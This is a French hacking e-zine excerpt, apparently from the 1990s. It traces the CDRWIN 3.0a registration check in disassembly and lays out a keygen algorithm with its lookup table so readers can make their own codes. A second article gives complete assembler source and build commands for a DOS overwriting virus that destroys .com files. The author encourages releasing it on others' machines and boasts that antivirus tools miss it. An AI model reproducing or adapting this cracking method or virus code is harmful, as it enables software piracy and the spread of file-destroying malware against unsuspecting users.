******************************************************************************* | TRACAGE DE CRWIN3.0a | | CREATION DE REGISTER | | PAR | | DONGLE KILLER | | ALLIGATOR427 | ****************************************************************************** Voici donc le tracage de CDRWIN 3.0a, qui vous permets de trouver les BPX du premier coup... le calcul restera le meme sur toutes les versions suivantes, vous permettant d'avoir votre registrer... sorry Jeff... Nous l'avons trac‚ tous les 2, a des moments et endroits differents... rendons ces lauriers a cesar, qui a pouss‚ le "vice" en creeant un KEY-REGIS. Bravo DONGLE!!! ****************************************************************************** 0137:00406345 CALL 0043789D Renvoie eax=3Dlongueur du nom 0137:00406354 CALL 0043789D Renvoie eax=3Dlongueur email 0137:00406363 CALL 0043789D Renvoie eax=3Dlongueur code 0137:0040636C CALL 00424960 Renvoie eax=3Dvaleur hexa du code 0137:00406378 PUSH EAX Sauvegarde de la valeur du code en pile 0137:00406381 CALL 00411E10 V‚rification du code D‚tail de la v‚rif. : 0137:00411E22 CALL 00412150 V‚rification si code ok, alors eax<>0 -------------------------------------------------------- D‚tail du CALL 00412150 les adresses du nom, email et code ont ‚t‚ empil‚e juste avant l'appel!! 0137:00412150 MOV EDX,[ESP+04] EDX pointe sur le NOM 0137:00412160 REPNZ SCASB On recherche la fin de chaine NOT ECX DEC ECX ECX=3DLongueur du nom CMP ECX,06 Longueur inf‚rieure =… 6 caracs ? 0137:0041216A MOV EBX,[ESp+14] EBX pointe sur l'email ....idem : v‚rif longueur.... -------------------------------------------------------- 0137:00412183 PUSH EDX On empile l'adresse du nom CALL 004121E0 Calcule un code un partir du nom nom= Vous choisirez.. eax=xxxxxxxxxxx .... .... PUSH EBX on empile l'adresse de l'email OR EDI,ESI Inversion de la partie haute=20 et de la partie basse de eax par rotations et addition finale R‚sultat dans ESI !!! 0137:0041219B CALL 004121E0 Calcule un code … partir de l'email (grace a l'adresse empil‚e avant) email= vous choissirez! eax=xxxxxxxxxx XOR EDI,EAX OU EXCLUSIF des 2 r‚sulats nom et email EDI=xxxxxxxxxx en base 10 EDI=xxxxxxxxxxx < le code est la!!!! La suite r‚cup‚re la valeur du code saisi qui avait ‚t‚ empil‚e bien avant et la compare a la valeur ci-dessus. -------------------------------------------------------- # Routine calcul register : ....d‚tails oubli‚s.... EBX pointe sur la chaine ECX =3D longueur chaine DI =3D longueur chaine 0137:00419199 XOR EDX,EDX EDX=3D0=20 0137:0041919B MOV DL,[EBX]=09 Lecture premier carac. exemple : DL=3D50 carac. 'P' INC EBX Pointe sur carac. suivant MOV ECX,EDX SHR EDX,02 2 d‚calages … droite sur EDX 0101 0000 --> 0001 0100 =3D 14 XOR ECX,EAX OU exclusif entre eax et ecx dans ecx.=20 SHR EAX,04 4 d‚calages … droite de eax AND ECX,0F Et logique sur ECX, on garde les 4 bits de poids faible MOV ECX,[ECX*4+ESI] XOR ECX,EAX Ou exclusif entre ecx et eax LEA EAX,[EXCX*4+0000000] EAX=3DECX*4 SHR ECX,04 4 d‚calages … droite de ecx XOR EAX,EDX Ou exclusif entre ecx et edx AND EAX,3C ET logique sur eax bits 5,4,3,2 conserv‚s MOV EAX,[ESI+EAX] Lecture d'un code dans une table point=E9e par ESI+EAX EAX maxi =3D 3C (cf AND 3C), la table aura donc 16 mots de 32 bits XOR EAX,ECX Ou exclusif entre eax et ecx vers eax DEC DI Test fin de chaine JNZ 419199 Reboucle si pas la fin de chaine Table point‚e par ESI : (cette table est dans CDRWIN.EXE) ----------------------- ESI+00 : 00 00 00 00 7E 88 3E 1C ESI+08 : FC 10 7D 38 82 98 43 24 ESI+10 : F8 21 FA 70 86 A9 C4 6C ESI+18 : 04 31 87 48 7A B9 B9 54 ESI+20 : F0 43 F4 E1 8E CB CA FD ESI+28 : 0C 53 89 D9 72 DB B7 C5 ESI+30 : 08 62 0E 91 76 EA 30 8D ESI+38 : F4 72 73 A9 8A FA 4D B5 ET vala.. comment ca s'est compliqu‚????? ******************************************************************************* ^øý;,.,;ýø^øý;,.,;ýø^øý;,.,;ýø^øý;,.,;ýø^øý;,.,;ýø^øý;,.,;ýø^øý;,.,;ýø^ Virus exemple Nø1 UnK MnemoniK ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Voila , j'ai essayer de d‚tailler ici un virus trŠs simple et en meme temp trŠs petit , l'astuce de cette petite taille est que le virus se propage en ‚crasant directement sur le fichier , ne tenant pas compte du programme infect‚ , ici , quand on lancera le fichier , il retournera directement sous le prompt , bref on s'apercevra assez vite de l'infection , voir que l'on r‚installera completement les progs infect‚s , ce virus est d‚ja a moiti‚ comdamn‚ , il serait toujours amusant de le lacher sous c:\dos qu'on voie la tˆte du technicien informatique ( que perso je n'arrive jamais a pifer , genre le type : euuuh , ce r‚seau est optimis‚ (:ouarf le vocabulaire) pour Ou-indoze95 , nos plateformes sont … la pointe de la technologie , hum hum et ne touchez pas a ce clavier ; ou bien le type qui arrive quand tu veux t'amuser sur une b‚canne de d‚monstration ou ya un pseudo internet qui en fait n'est qu'une page html sur le disque ventant les m‚rites de la compagnie aprŠs ce bref interlude , voici les explications ************************************************************************** cette partie n'est que du blabla pour que turbo assembleur ne viennent pas raler avec ses gros sabots Ä code segment assume cs:code,ds:code,es:code,ss:code org 100h main proc near Ä La routine start a pour but de mettre en 9Eh le nom du premier fichier'*.com'se trouvant dans ce repertoire grace a la subfonction 4Eh de l'int‚ruption 21h (celle du dos ) , le fichier n'infectera pas les fichiers cach‚s ni ceux en lecture seule , pour cela , il faut placer dans CX un code binaire 00000011B ou 2h Ä START: MOV AL,0 MOV AH,4Eh MOV DX,OFFSET COMFILE INT 21H JMP INFECTE ; saut sur le proc‚ssus d'infection Ä les routines close puis plus ont la fonction de fermer (3Eh) le fichier ouvert et de rechercher le prochain fichier com sur le repertoire actuel (4Fh) , 4Fh n'a besoin d'aucune pr‚paration car elles sont fix‚e avec 4Eh Ä CLOSE: MOV AH,3EH INT 21H PLUS: MOV AH,4FH INT 21H OR AL,AL JNZ BYE Ä ici le proc‚ssus d'infection ‚tant trŠs primaire , il se d‚compose comme ‚tant l'anti-r‚infecteur et infecteur , je m'explique , il ne faut pas que le virus s'‚crase tout le temp sur le meme fichier car l'infection serait impossible puis si le test parait n‚gatif il infecte le fichier Ä INFECTE: MOV AX,3D02H MOV DX,OFFSET 9EH INT 21H MOV BX,AX Ä /³\ vous avez ici l'ouverture du fichier , a partir ce moment les actions d'‚criture lecture sont possible sur le fichier , comme dans le basic ce fichier est affect‚ un num‚ro plac‚ en AX mais ca ne suffit pas car pour les prochaines int‚ruptions , le num‚ro du fichier doit se trouver en BX Ä MOV AH,3FH MOV CX,2 MOV DX,OFFSET MTEST INT 21H CMP WORD PTR MTEST,00B0H Ä routine de test d'infection comme comparaison , nous allons lire les 2 premiers octets (3Fh) et puis les comparer avec ceux du virus (ici B000h (ne pas oublier d'inverser les octets)) , pour ma part j'y ai mis une valeur fictive que j'ai remplac‚ une fois compil‚ , et j'ai ensuite recompiler avec B000h , a noter que MTEST contient les deux premiers octets du fichier Oui mais si un fichier a d‚ja 00B0H comme premiers octets? Les chances restantes sont de 1/65535 , c'est a dire que l'on ne s'en inquiete pas , si le test parait positif , il vas a close Ä JZ CLOSE MOV AX,4200H MOV CX,00 MOV DX,00 INT 21H Ä repositionnement du pointeur au d‚but du fichier ( 42H ) Ä MOV AH,40H MOV CX,84 ; taille du prog MOV DX,OFFSET START INT 21H Ä ici ‚criture de tous les octets depui start sur le fichier Ä BYE: RET Ä informations utiles au programme Ä COMFILE: DB 'coui*.com',0 MTEST: DW ? main endp code ends end main **************************************************************************** j'‚spŠre que vous aurez compris les m‚canismes de ce virus trŠs petit a cause de sa simplicit‚ , pour le compiler faites tasm mj13.asm puis tlink mj13.obj , amusez vous a refaire ou am‚liorez ce virus Je garanti qu'a la sortie de cet article de MJ13 , ce virus n'est pas reconnu par les anti-virus NB : la version MJ13 n'infecte que les coui*.com tandis que la 0B infecte tous les fichiers com Prochain ‚pisode : ca se transforme en infecteur COM *** Envoyez vos questions ou mes bugs a Zorohack@hotmail.com Sp‚cial thanks a chico , si vous avez rien a faire allez voir les articles de phalcon/skism et d'autres sur jesaisquellepage (:Alta vista ca existe non? By -Û UnKM Û- Thanks to Samson